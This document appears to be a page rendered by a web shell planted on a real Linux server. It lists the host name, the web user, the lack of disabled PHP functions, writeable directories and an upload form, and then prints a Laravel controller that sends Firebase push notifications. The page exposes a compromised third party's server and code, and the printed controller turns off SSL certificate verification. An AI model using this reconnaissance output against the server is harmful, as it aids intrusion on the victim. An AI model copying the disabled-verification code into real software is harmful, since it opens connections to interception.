KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/namascar_app/panel.namascar.app/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/namascar_app/panel.namascar.app/app/Http/Controllers/GcmController.php
<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;

use Config;

class GcmController extends Controller
{
	/**
    * Sending Push Notification
    */
    public static function send_notification($tokens,$message,$data='') {
        	
        $url='https://fcm.googleapis.com/fcm/send';
        
        $fields = array(
            'registration_ids' 	=> $tokens,
            'notification' => $message,
            'content_available' => true,
            'priority' => 'high',
        );
        $api_key= Config::get('constant.apikey.GOOGLE_API_KEY');

        $headers = array(
            'Authorization:key=' . Config::get('constant.apikey.GOOGLE_API_KEY'),
            'Content-Type:application/json'
        );
        $ch = curl_init();
        curl_setopt( $ch,CURLOPT_URL, $url );
        curl_setopt( $ch,CURLOPT_POST, true );
        curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );
        curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch,CURLOPT_SSL_VERIFYHOST, 0 );
        curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );

        $result = curl_exec($ch );
        if($result === FALSE){
            die('Curl Failed:'.curl_error($ch));
        }

        curl_close( $ch );

        return $result;
    }
}

Anon7 - 2021